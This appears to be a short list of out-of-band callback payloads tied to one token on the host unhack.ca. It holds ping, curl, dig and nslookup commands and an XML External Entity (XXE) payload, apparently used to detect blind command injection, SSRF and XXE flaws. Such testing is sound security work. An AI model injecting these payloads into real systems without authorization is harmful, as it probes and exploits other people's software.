$ ping -c1 -p 00030188880db7a2fd3d0d0fc045a000 unhack.ca
 

$ curl http://unhack.ca/p/030188880db7a2fd3d0d0fc045a0
 

$ dig 030188880db7a2fd3d0d0fc045a0 @unhack.ca
 

$ dig 030188880db7a2fd3d0d0fc045a0.ns.unhack.ca
 

C:\> nslookup 030188880db7a2fd3d0d0fc045a0 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/030188880db7a2fd3d0d0fc045a0">]>
    <foo>&xxe;</foo>